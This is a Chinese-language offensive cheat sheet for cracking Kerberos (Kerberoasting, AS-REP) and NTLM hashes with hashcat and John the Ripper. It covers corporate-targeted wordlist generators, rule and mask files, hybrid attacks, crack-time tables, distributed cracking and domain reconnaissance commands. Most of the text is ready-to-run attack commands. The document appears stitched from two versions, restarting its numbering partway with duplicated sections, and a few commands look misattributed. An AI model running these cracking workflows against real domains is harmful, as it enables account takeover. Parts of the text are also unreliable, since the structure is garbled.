# 双规则叠加: 字典词数 × 规则1条数 × 规则2条数 = 候选数
# corp_wordlist.txt (5000) × best64 (77) × toggles1 (15) = 5,775,000 候选
hashcat -m 13100 hashes.txt corp_wordlist.txt \
-r best64.rule -r toggles1.rule -O -w 3
# ⛔ 注意: 三层叠加通常过多,导致运行时间爆炸
# best64 × rockyou-30000 × toggles3 = 完全不可行3.4 自定义企业规则模板
# 保存为 enterprise.rule
# === 基础变换 ===
: # 保持原样
c # 首字母大写
u # 全大写
l # 全小写
# === 年份追加(最常见企业模式)===
c $2 $0 $2 $4
c $2 $0 $2 $5
c $2 $0 $2 $6
c $2 $0 $2 $4 $!
c $2 $0 $2 $5 $!
c $2 $0 $2 $6 $!
c $@ $2 $0 $2 $4
c $@ $2 $0 $2 $5
c $@ $2 $0 $2 $6
# === 数字+符号后缀 ===
c $1 $!
c $1 $2 $3
c $1 $2 $3 $!
c $@ $1 $2 $3
c $! $@ $#
$1 $2 $3 $4
$1 $2 $3 $4 $!
# === Leet speak 替换 ===
c s a @ s e 3 s o 0
c s a @ s i 1
s a @ s s $
s e 3 s o 0 s i 1
# === 前缀添加(密码策略要求大写开头时)===
c ^! ^2 ^1 ^@ # @12!Password 模式 (反转)# 使用自定义规则
hashcat -m 13100 hashes.txt corp_base.txt -r enterprise.rule -O -w 3---
4. 高级掩码策略
4.1 基于密码策略的精确掩码
# === 策略: 最小 8 位,需大写+小写+数字+符号 ===
# 最常见满足方式: Ulllllld?s (首字母大写 + 小写 + 1数字 + 1符号)
hashcat -m 13100 h.txt -a 3 '?u?l?l?l?l?l?d?s' -O -w 3
# 变体: UlllllddS (首大写 + 小写 + 2数字 + 1符号)
hashcat -m 13100 h.txt -a 3 '?u?l?l?l?l?l?d?d?s' -O -w 3
# 自定义字符集缩小范围
# -1 定义只包含常见尾部符号
hashcat -m 13100 h.txt -a 3 -1 '!@#$' '?u?l?l?l?l?l?d?1' -O -w 3
# === 策略: 最小 10 位 ===
# 常见: 单词(6) + 年份(4) 或 单词(6) + 年份(4) + 符号(1)
hashcat -m 13100 h.txt -a 3 '?u?l?l?l?l?l?d?d?d?d' -O -w 3
hashcat -m 13100 h.txt -a 3 '?u?l?l?l?l?l?d?d?d?d?s' -O -w 34.2 .hcmask 文件批量掩码
# 保存为 enterprise.hcmask — hashcat 自动按顺序执行每行掩码
# 格式: [自定义字符集,]掩码
# 8 位常见企业模式
?u?l?l?l?l?l?d?s
?u?l?l?l?l?l?d?d
?u?l?l?l?l?d?d?s
# 9 位
?u?l?l?l?l?l?l?d?s
?u?l?l?l?l?l?d?d?s
# 10 位 (单词+年份)
?u?l?l?l?l?l?d?d?d?d
?u?l?l?l?l?l?d?d?d?d?s
# 自定义字符集: 尾部只试常见符号
!@#$,?u?l?l?l?l?l?d?1
!@#$,?u?l?l?l?l?l?d?d?1
# 使用
# hashcat -m 13100 hashes.txt -a 3 enterprise.hcmask -O -w 34.3 掩码攻击空间与时间估算公式
搜索空间 = 每位字符数的乘积
时间 = 搜索空间 / 每秒速度
示例 — ?u?l?l?l?l?l?d?s (模式 13100, 1.2 GH/s):
= 26 × 26 × 26 × 26 × 26 × 26 × 10 × 33
= 26^6 × 10 × 33
= 308,915,776 × 330
= 1.02 × 10^11
→ ~85 秒
示例 — ?u?l?l?l?l?l?d?d?d?d?s (模式 13100, 1.2 GH/s):
= 26 × 26^5 × 10^4 × 33
= 308,915,776 × 330,000
= 1.02 × 10^14
→ ~23.6 小时
用自定义字符集缩小 ?s 为 !@#$ (4个字符):
= 26^6 × 10^4 × 4
= 1.24 × 10^13
→ ~2.9 小时 (缩小 8 倍)---
5. 混合攻击进阶
5.1 多轮混合策略
# 第一轮: 企业基础词 + 短数字后缀
hashcat -m 13100 h.txt -a 6 corp_base.txt '?d?d' -O -w 3
hashcat -m 13100 h.txt -a 6 corp_base.txt '?d?d?d' -O -w 3
hashcat -m 13100 h.txt -a 6 corp_base.txt '?d?d?d?d' -O -w 3
# 第二轮: 基础词 + 年份 + 符号 (固定字符串追加)
hashcat -m 13100 h.txt -a 6 corp_base.txt '2024!' -O -w 3
hashcat -m 13100 h.txt -a 6 corp_base.txt '2025!' -O -w 3
hashcat -m 13100 h.txt -a 6 corp_base.txt '2026!' -O -w 3
hashcat -m 13100 h.txt -a 6 corp_base.txt '@2024' -O -w 3
hashcat -m 13100 h.txt -a 6 corp_base.txt '@2025' -O -w 3
hashcat -m 13100 h.txt -a 6 corp_base.txt '#2024' -O -w 3
# 第三轮: 数字前缀 + 基础词 (mode 7)
hashcat -m 13100 h.txt -a 7 '?d?d?d?d' corp_base.txt -O -w 3
hashcat -m 13100 h.txt -a 7 '2024' corp_base.txt -O -w 3
hashcat -m 13100 h.txt -a 7 '2025' corp_base.txt -O -w 35.2 Combinator 攻击 (模式 1)
# 两个字典的笛卡尔积
# 适合拼接攻击: 左词 + 右词
# 基础词 + 后缀词
cat <<'EOF' > left.txt
Password
Welcome
Company
Admin
Service
Spring
Summer
Winter
EOF
cat <<'EOF' > right.txt
123!
1234!
2024!
2025!
@123
#123
!@#
EOF
hashcat -m 13100 h.txt -a 1 left.txt right.txt -O -w 3
# 加规则到 combinator (左侧/右侧分别应用)
hashcat -m 13100 h.txt -a 1 left.txt right.txt -j 'c' -O -w 3
# -j: 对左侧词应用规则 (c=首字母大写)
# -k: 对右侧词应用规则---
6. John the Ripper 进阶用法
6.1 完整的 Kerberos hash 破解命令
# === Kerberoasting ===
# RC4 — 字典
john --format=krb5tgs kerberoast.txt --wordlist=corp_wordlist.txt
# RC4 — 字典 + 规则
john --format=krb5tgs kerberoast.txt --wordlist=corp_wordlist.txt --rules=best64
john --format=krb5tgs kerberoast.txt --wordlist=corp_wordlist.txt --rules=KoreLogicRulesAppend4Num
# AES256 — 必须指定格式
john --format=krb5tgs-aes kerberoast_aes.txt --wordlist=corp_wordlist.txt
# === AS-REP Roasting ===
john --format=krb5asrep asrep.txt --wordlist=corp_wordlist.txt
john --format=krb5asrep asrep.txt --wordlist=corp_wordlist.txt --rules=best64
# === NTLM (secretsdump 提取) ===
john --format=NT ntlm_hashes.txt --wordlist=rockyou.txt
# === NetNTLMv2 (Responder 捕获) ===
john --format=netntlmv2 captured.txt --wordlist=corp_wordlist.txt6.2 John 掩码与混合模式
# 掩码攻击 (John 语法)
john --format=krb5tgs h.txt --mask='?u?l?l?l?l?l?d?d?d?d'
# 字典 + 掩码混合 (?w = 字典词)
john --format=krb5tgs h.txt --wordlist=corp_base.txt --mask='?w?d?d?d?d'
john --format=krb5tgs h.txt --wordlist=corp_base.txt --mask='?w?d?d?d?d?s'
# 自定义字符集
john --format=krb5tgs h.txt --mask='?u?l?l?l?l?l[0-9][!@#$]'
# 增量模式(纯暴力)
john --format=krb5tgs h.txt --incremental=Alnum --max-length=8
john --format=krb5tgs h.txt --incremental=ASCII --min-length=8 --max-length=106.3 John 特有优势场景
# 1. 自动检测 hash 类型(不确定 hash 格式时)
john --list=formats | grep -i kerb
john hash.txt # 自动检测
# 2. Loopback 攻击(使用已破解密码作为字典)
john --format=krb5tgs h.txt --loopback --rules=best64
# 3. Prince 模式(密码短语生成)
john --format=krb5tgs h.txt --prince=wordlist.txt --prince-min-len=8
# 4. 外部过滤器(自定义密码生成逻辑)
john --format=krb5tgs h.txt --external=Filter_Policy
# 需在 john.conf 中定义过滤规则
# 5. Fork 多核并行(CPU 场景)
john --format=krb5tgs h.txt --wordlist=big.txt --rules=best64 --fork=8---
7. 暴力破解详细时间表
RC4 (13100) — RTX 4090 × 1 (~1.2 GH/s)
| 长度 | 纯数字 (10) | 小写 (26) | 小写+数字 (36) | 大小写+数字 (62) | 全可打印 (95) |
|---|---|---|---|---|---|
| 4 | 即时 | 即时 | 即时 | 即时 | 即时 |
| 5 | 即时 | 即时 | 即时 | 即时 | 即时 |
| 6 | 即时 | 即时 | ~2 秒 | ~47 秒 | ~12 分钟 |
| 7 | 即时 | ~7 秒 | ~65 秒 | ~49 分钟 | ~19 小时 |
| 8 | 即时 | ~3 分钟 | ~39 分钟 | ~2 天 | ~76 天 |
| 9 | ~1 秒 | ~82 分钟 | ~23 小时 | ~134 天 | ~20 年 |
| 10 | ~8 秒 | ~36 小时 | ~35 天 | ~22 年 | ~1884 年 |
| 11 | ~83 秒 | ~38 天 | ~3.4 年 | ~1390 年 | - |
| 12 | ~14 分钟 | ~2.7 年 | ~124 年 | - | - |
AES256 (19700) — RTX 4090 × 1 (~200 KH/s)
| 长度 | 纯数字 | 小写+数字 | 大小写+数字 |
|---|---|---|---|
| 6 | ~5 秒 | ~3 小时 | ~9 天 |
| 7 | ~50 秒 | ~4.5 天 | ~1.5 年 |
| 8 | ~8 分钟 | ~163 天 | ~95 年 |
| 9 | ~83 分钟 | ~16 年 | - |
NTLM (1000) — RTX 4090 × 1 (~120 GH/s)
| 长度 | 小写+数字 | 大小写+数字 | 全可打印 |
|---|---|---|---|
| 7 | 即时 | 即时 | ~12 秒 |
| 8 | 即时 | ~1.8 秒 | ~18 分钟 |
| 9 | ~3 秒 | ~2 分钟 | ~29 小时 |
| 10 | ~2 分钟 | ~2 小时 | ~115 天 |
| 11 | ~64 分钟 | ~5 天 | ~30 年 |
结论: NTLM 对 10 位以下密码暴力可行; Kerberos RC4 对 8 位以下可行; AES256 只能依赖字典+规则。
---
8. hashcat 实战技巧
8.1 破解进度监控与恢复
# 命名会话(便于恢复)
hashcat -m 13100 h.txt wordlist.txt -r best64.rule --session=kerb_phase1 -O -w 3
# 恢复中断的会话
hashcat --session=kerb_phase1 --restore
# 运行中按键操作
# s → 显示状态
# p → 暂停
# r → 恢复
# b → 跳过当前规则/掩码
# q → 保存并退出
# c → checkpoint(保存进度)8.2 已破解密码二次利用
# 查看所有已破解的 hash
hashcat -m 13100 h.txt --show
# 提取纯密码
hashcat -m 13100 h.txt --show --outfile-format=2 -o cracked_passwords.txt
# 用已破解密码 + 规则攻击剩余 hash(密码复用模式)
hashcat -m 13100 h.txt -a 0 cracked_passwords.txt -r best64.rule -O -w 3
# 跨 hash 类型复用(同域用户可能重复密码)
hashcat -m 18200 asrep.txt -a 0 cracked_passwords.txt -r best64.rule -O -w 38.3 分布式破解
# hashcat brain server(中心化去重)
# Server:
hashcat --brain-server --brain-host=0.0.0.0 --brain-port=13743 \
--brain-password=SecretBrainPass
# Client (多台):
hashcat -m 13100 h.txt wordlist.txt -O -w 3 \
--brain-client --brain-host=SERVER_IP --brain-port=13743 \
--brain-password=SecretBrainPass
# 手动分片(无 brain server 时)
# 机器 1:
hashcat -m 13100 h.txt -a 3 '?a?a?a?a?a?a?a?a' --skip=0 --limit=50000000000 -O -w 3
# 机器 2:
hashcat -m 13100 h.txt -a 3 '?a?a?a?a?a?a?a?a' --skip=50000000000 --limit=50000000000 -O -w 3---
参考链接
Kerberos 票据哈希破解参考
---
1. Hashcat 模式速查
| 攻击类型 | 加密类型 | hashcat -m | 说明 |
|---|---|---|---|
| Kerberoasting (TGS) | RC4-HMAC (etype 23) | 13100 | 最常见,速度最快 |
| Kerberoasting (TGS) | AES128 (etype 17) | 19600 | 较少见 |
| Kerberoasting (TGS) | AES256 (etype 18) | 19700 | 高安全域常见,速度慢 |
| AS-REP Roasting | RC4-HMAC (etype 23) | 18200 | 无需预认证的账户 |
哈希格式示例
# Kerberoasting RC4 (13100)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$abc123...
# Kerberoasting AES256 (19700)
$krb5tgs$18$svc_sql$CORP.LOCAL$*MSSQLSvc/sql01.corp.local:1433*$abc123...
# AS-REP Roasting (18200)
$krb5asrep$23$jsmith@CORP.LOCAL:abc123...---
2. Hashcat 最优 GPU 破解参数
基础命令
# Kerberoasting RC4 — 字典攻击
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -O -w 3
# AS-REP Roasting — 字典攻击
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -O -w 3
# Kerberoasting AES256 — 字典攻击(速度较慢,建议精选字典)
hashcat -m 19700 kerberoast_aes.txt custom_wordlist.txt -O -w 3关键参数说明
# 性能优化参数
-O # 启用优化内核(限制密码长度 <= 31,但速度提升 2-3 倍)
-w 3 # 工作负载 (1=低, 2=中, 3=高, 4=噩梦级/桌面卡顿)
--force # 强制运行(忽略警告,仅在必要时使用)
-D 1,2 # 设备类型 (1=CPU, 2=GPU)
# 会话管理
--session=kerb1 # 命名会话,方便恢复
--restore # 恢复上次中断的会话
--potfile-path=cracked.pot # 已破解密码存储文件
# 输出
-o cracked.txt # 破解结果输出文件
--outfile-format=2 # 只输出密码(默认 hash:password)
--show # 显示已破解的哈希GPU 破解速度参考(RTX 4090)
| 模式 | 加密类型 | 大约速度 |
|---|---|---|
| 13100 | RC4-HMAC | ~1.2 GH/s |
| 18200 | AS-REP RC4 | ~1.0 GH/s |
| 19700 | AES256 | ~200 KH/s |
RC4 与 AES256 破解速度差距约 6000 倍。如果目标域强制 AES,需要更精确的字典。
---
3. 目标化字典生成策略
通用字典(rockyou)对企业环境效果有限。应结合目标信息生成专属字典。
收集信息用于字典生成
# 公司名及缩写
COMPANY="CorpName"
ABBR="CN"
# 从 AD 中收集信息
# 用户描述字段常包含默认密码
netexec ldap DC_IP -u USER -p PASS --users | awk '{print $5}'
# 收集自定义关键词
# - 公司名、产品名、项目名
# - 城市名、办公地点
# - 行业术语
# - 域名中的关键词使用 CeWL 从企业网站提取关键词
cewl https://www.target-corp.com -d 3 -m 5 -w company_words.txt使用 username-anarchy / cupp 生成
# cupp - 交互式密码生成
cupp -i
# 输入公司名、缩写、关键日期等
# 手动生成企业常见模式
cat <<'EOF' > corp_base.txt
CorpName
corpname
CORPNAME
Corp2024
Corp2025
Corp2026
Corp@2024
Corp@2025
Corp@2026
Welcome
Password
Qwer1234
P@ssw0rd
Admin
Spring
Summer
Autumn
Winter
January
February
EOF年份和季节组合生成
#!/usr/bin/env python3
"""generate_corp_wordlist.py — 生成企业场景密码字典"""
import itertools
company_names = ['CorpName', 'corpname', 'CORPNAME', 'Corp', 'CN']
seasons = ['Spring', 'Summer', 'Autumn', 'Winter', 'spring', 'summer', 'autumn', 'winter']
months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
years = ['2022', '2023', '2024', '2025', '2026']
separators = ['', '@', '#', '!', '_', '.']
suffixes = ['', '!', '@', '#', '123', '1234', '!@#']
passwords = set()
# 公司名 + 年份 + 后缀
for name, year, sep, suffix in itertools.product(company_names, years, separators, suffixes):
passwords.add(f'{name}{sep}{year}{suffix}')
# 季节 + 年份 + 后缀
for season, year, suffix in itertools.product(seasons, years, suffixes):
passwords.add(f'{season}{year}{suffix}')
# 月份 + 年份
for month, year, suffix in itertools.product(months, years, suffixes):
passwords.add(f'{month}{year}{suffix}')
# 常见弱密码变体
common = ['Welcome1!', 'P@ssw0rd', 'Password1', 'Qwer1234!', 'Admin@123',
'Changeme1!', 'Monday1!', 'Letmein1!', 'Company1!']
passwords.update(common)
with open('corp_wordlist.txt', 'w') as f:
for p in sorted(passwords):
f.write(p + '\n')
print(f'[+] 生成 {len(passwords)} 个密码候选')---
4. 规则文件(Rules)
规则文件在字典基础上生成变体,指数级扩大搜索空间。
推荐规则文件
# hashcat 内置规则(按效果排序)
/usr/share/hashcat/rules/best64.rule # 77 条规则,速度最快
/usr/share/hashcat/rules/rockyou-30000.rule # 30000 条规则,覆盖广
/usr/share/hashcat/rules/d3ad0ne.rule # 34101 条规则
/usr/share/hashcat/rules/T0XlC.rule # 大型规则集
# 社区规则(需单独下载)
OneRuleToRuleThemAll.rule # ~52000 条规则,综合最优
dive.rule # 超大规则集,深度破解
pantagrule.hashorg.v6.rule # 基于真实密码泄露统计使用规则攻击
# 字典 + 单规则文件
hashcat -m 13100 kerberoast.txt corp_wordlist.txt -r /usr/share/hashcat/rules/best64.rule -O -w 3
# 字典 + 多规则文件叠加(规则组合,搜索空间爆炸增长)
hashcat -m 13100 kerberoast.txt corp_wordlist.txt \
-r /usr/share/hashcat/rules/best64.rule \
-r /usr/share/hashcat/rules/toggles1.rule -O -w 3
# 使用 OneRuleToRuleThemAll
hashcat -m 13100 kerberoast.txt corp_wordlist.txt -r OneRuleToRuleThemAll.rule -O -w 3自定义规则示例
# 保存为 custom_corp.rule
# 在末尾添加数字和符号
$1 # 追加 '1'
$! # 追加 '!'
$1 $! # 追加 '1!'
$@ $1 # 追加 '@1'
$2 $0 $2 $4 # 追加 '2024'
$2 $0 $2 $5 # 追加 '2025'
$2 $0 $2 $6 # 追加 '2026'
# 首字母大写
c # capitalize
c $! # capitalize + '!'
c $1 $! # capitalize + '1!'
c $@ $1 $2 $3 # capitalize + '@123'
# leet speak
s a @ # a → @
s e 3 # e → 3
s o 0 # o → 0
s i 1 # i → 1
s s $ # s → $---
5. 掩码攻击(Mask Attack)
当推测密码结构时,掩码攻击比纯字典更高效。
掩码字符集
?l = a-z (小写字母)
?u = A-Z (大写字母)
?d = 0-9 (数字)
?s = 特殊字符 (空格及 !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~)
?a = ?l?u?d?s (全部可打印字符)
# 自定义字符集
-1 ?l?u (自定义集1: 大小写字母)
-2 ?l?d (自定义集2: 小写+数字)企业密码常见模式
# 模式: Season + Year (如 Spring2024)
# 首字母大写 + 5小写 + 4数字 = 10位
hashcat -m 13100 kerberoast.txt -a 3 '?u?l?l?l?l?l?d?d?d?d' -O -w 3
# 模式: Season + Year + 符号 (如 Spring2024!)
hashcat -m 13100 kerberoast.txt -a 3 '?u?l?l?l?l?l?d?d?d?d?s' -O -w 3
# 模式: Company + 数字 (如 Corp123, Corp1234)
# 使用递增长度
hashcat -m 13100 kerberoast.txt -a 3 '?u?l?l?l?d?d?d' --increment --increment-min=6 --increment-max=10 -O -w 3
# 模式: 大写开头 + 小写 + 数字 + 符号 (如 Password1!)
hashcat -m 13100 kerberoast.txt -a 3 '?u?l?l?l?l?l?l?l?d?s' -O -w 3
# 模式: 键盘模式 (Qwer1234!)
# 无法用纯掩码表达,用字典+规则更好精确掩码(已知部分密码)
# 已知密码以 "Corp" 开头,后跟 4 位数字
hashcat -m 13100 kerberoast.txt -a 3 'Corp?d?d?d?d' -O -w 3
# 已知密码以 "Corp" 开头,后跟年份和符号
hashcat -m 13100 kerberoast.txt -a 3 'Corp202?d?s' -O -w 3
# 已知密码策略: 8-12位,大写开头,含数字和符号
hashcat -m 13100 kerberoast.txt -a 3 '?u?l?l?l?l?l?d?s' --increment --increment-min=8 --increment-max=12 -O -w 3---
6. 混合攻击(Hybrid Attack)
字典 + 掩码组合,兼顾灵活性和速度。
# 模式6: 字典 + 掩码追加 (Password + 1234)
hashcat -m 13100 kerberoast.txt -a 6 corp_base.txt '?d?d?d?d' -O -w 3
# 模式6: 字典 + 年份 + 符号
hashcat -m 13100 kerberoast.txt -a 6 corp_base.txt '?d?d?d?d?s' -O -w 3
# 模式7: 掩码前缀 + 字典 (2024 + Password)
hashcat -m 13100 kerberoast.txt -a 7 '?d?d?d?d' corp_base.txt -O -w 3
# 实用组合 — 基础词 + 年份 + 常见后缀
hashcat -m 13100 kerberoast.txt -a 6 corp_base.txt '2024!' -O -w 3
hashcat -m 13100 kerberoast.txt -a 6 corp_base.txt '2025!' -O -w 3
hashcat -m 13100 kerberoast.txt -a 6 corp_base.txt '@123' -O -w 3
hashcat -m 13100 kerberoast.txt -a 6 corp_base.txt '!@#' -O -w 3---
7. 不同密码长度的预估破解时间
以 RTX 4090 + RC4 (13100) 约 1.2 GH/s 为基准:
| 密码长度 | 字符集 | 组合数 | 预估时间 |
|---|---|---|---|
| 6 位 | 小写+数字 | 2.2 × 10^9 | ~2 秒 |
| 7 位 | 小写+数字 | 7.8 × 10^10 | ~65 秒 |
| 8 位 | 小写+数字 | 2.8 × 10^12 | ~39 分钟 |
| 8 位 | 大小写+数字 | 2.2 × 10^14 | ~2 天 |
| 8 位 | 全字符 | 6.6 × 10^15 | ~64 天 |
| 9 位 | 大小写+数字 | 1.4 × 10^16 | ~134 天 |
| 10 位 | 大小写+数字 | 8.4 × 10^17 | ~22 年 |
结论: 纯暴力只对 8 位以下密码有效。8 位以上必须依赖字典 + 规则 + 掩码组合策略。
AES256 (19700) 速度参考
AES256 约 200 KH/s(RTX 4090),比 RC4 慢约 6000 倍。
| 密码长度 | 字符集 | 预估时间 |
|---|---|---|
| 6 位 | 小写+数字 | ~3 小时 |
| 7 位 | 小写+数字 | ~4.5 天 |
| 8 位 | 小写+数字 | ~163 天 |
AES256 哈希只能依赖精准字典攻击,纯暴力几乎不可行。
---
8. John the Ripper 等效命令
# Kerberoasting RC4
john --format=krb5tgs kerberoast.txt --wordlist=corp_wordlist.txt
john --format=krb5tgs kerberoast.txt --wordlist=corp_wordlist.txt --rules=best64
# AS-REP Roasting
john --format=krb5asrep asrep.txt --wordlist=corp_wordlist.txt
# Kerberoasting AES256
john --format=krb5tgs-aes kerberoast_aes.txt --wordlist=corp_wordlist.txt
# 增量模式(暴力)
john --format=krb5tgs kerberoast.txt --incremental=Alnum --max-length=8
# 显示已破解密码
john --show kerberoast.txt
# 掩码模式(John 语法)
john --format=krb5tgs kerberoast.txt --mask='?u?l?l?l?l?l?d?d?d?d'
# 字典 + 掩码混合
john --format=krb5tgs kerberoast.txt --wordlist=corp_base.txt --mask='?w?d?d?d?d'
# ?w 代表字典中的词hashcat 与 john 功能对比
| 功能 | hashcat | john |
|---|---|---|
| GPU 加速 | 原生支持 | 需 OpenCL 编译 |
| RC4 速度 | ~1.2 GH/s | ~50 MH/s (GPU) |
| 规则语法 | hashcat 格式 | john 格式(兼容 hashcat) |
| 会话恢复 | --restore | --restore |
| 优先推荐 | GPU 暴力/掩码 | CPU 字典/规则 |
---
9. 基于密码策略的破解策略
获取域密码策略后,可以大幅缩小搜索空间。
获取密码策略
# 通过 netexec
netexec ldap DC_IP -u USER -p PASS --pass-pol
# 通过 impacket
python3 lookupsid.py DOMAIN/USER:PASS@DC_IP
# 通过 PowerShell (域内)
Get-ADDefaultDomainPasswordPolicy
# 关注这些字段:
# Minimum Password Length: 8
# Password Complexity: Enabled
# Password History: 24
# Maximum Password Age: 90 days
# Lockout Threshold: 5根据策略优化
最小长度 8 位 + 复杂性要求(至少包含大小写字母+数字+符号中的 3 类):
# 最高效策略: 首字母大写 + 小写 + 数字 + 尾部符号
# 这是用户最常用的满足复杂性的模式
hashcat -m 13100 kerberoast.txt -a 3 '?u?l?l?l?l?l?d?s' -O -w 3
hashcat -m 13100 kerberoast.txt -a 3 '?u?l?l?l?l?l?l?d?s' -O -w 3
# 或者: 常见词 + 数字 + 符号
hashcat -m 13100 kerberoast.txt -a 6 corp_base.txt '?d?s' -O -w 3
hashcat -m 13100 kerberoast.txt -a 6 corp_base.txt '?d?d?s' -O -w 3
hashcat -m 13100 kerberoast.txt -a 6 corp_base.txt '?d?d?d?s' -O -w 3最小长度 12 位:
# 12 位以上暴力不现实,必须用高质量字典
# 常见满足方式: 多词组合 (passphrase) 或 公式化密码
# 公式化密码: CompanyName@2024!
hashcat -m 13100 kerberoast.txt -a 6 company_variants.txt '?d?d?d?d?s' -O -w 3
hashcat -m 13100 kerberoast.txt -a 6 company_variants.txt '@2024!' -O -w 3
hashcat -m 13100 kerberoast.txt -a 6 company_variants.txt '@2025!' -O -w 3
# passphrase 字典
hashcat -m 13100 kerberoast.txt passphrases.txt -r best64.rule -O -w 3无复杂性要求(老旧域):
# 纯数字密码(很多用户会用)
hashcat -m 13100 kerberoast.txt -a 3 '?d?d?d?d?d?d?d?d' --increment --increment-min=6 -O -w 3
# 纯小写
hashcat -m 13100 kerberoast.txt -a 3 '?l?l?l?l?l?l?l?l' --increment --increment-min=6 -O -w 3
# rockyou 直接上
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -O -w 3破解优先级(推荐执行顺序)
# 1. 先用小字典 + 最佳规则(5 分钟内出结果的弱密码)
hashcat -m 13100 hashes.txt corp_wordlist.txt -r best64.rule -O -w 3
# 2. 大字典直跑(rockyou / weakpass 等)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -O -w 3
# 3. 小字典 + 大规则集
hashcat -m 13100 hashes.txt corp_wordlist.txt -r OneRuleToRuleThemAll.rule -O -w 3
# 4. 混合攻击(基础词 + 数字/符号追加)
hashcat -m 13100 hashes.txt -a 6 corp_base.txt '?d?d?d?d?s' -O -w 3
# 5. 掩码暴力(针对已知模式)
hashcat -m 13100 hashes.txt -a 3 '?u?l?l?l?l?l?d?d?d?d?s' -O -w 3
# 6. 超大字典 + 规则(最后手段,可能跑数天)
hashcat -m 13100 hashes.txt weakpass_3.txt -r dive.rule -O -w 3---